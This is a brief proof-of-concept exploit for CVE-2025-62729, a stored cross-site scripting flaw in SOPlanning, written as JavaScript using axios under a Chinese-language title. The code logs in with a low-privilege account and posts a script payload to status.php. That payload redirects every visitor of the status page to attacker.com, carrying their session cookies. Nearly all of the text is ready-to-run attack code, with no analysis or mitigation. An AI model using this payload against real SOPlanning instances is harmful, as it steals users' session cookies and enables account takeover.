CVE-2025-62729 SOPlanning存储型XSS漏洞

// CVE-2025-62729 Stored XSS PoC // Target: SOPlanning /status endpoint // Authentication: Low privilege account required const axios = require('axios'); async function exploit(targetUrl, username, password) { // Step 1: Login to get session cookie const loginData = { user_login: username, user_password: password }; const loginResponse = await axios.post( `${targetUrl}/login.php`, loginData, { withCredentials: true } ); const cookies = loginResponse.headers['set-cookie']; // Step 2: Inject XSS payload via /status endpoint const xssPayload = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>'; const statusData = { status_name: 'System Status', status_value: xssPayload, description: 'Updated system status' }; await axios.post( `${targetUrl}/status.php`, statusData, { headers: { Cookie: cookies } } ); console.log('XSS payload injected successfully'); console.log('When users visit the status page, the payload will execute'); } exploit('http://target-soplanning.com', 'attacker_user', 'attacker_pass');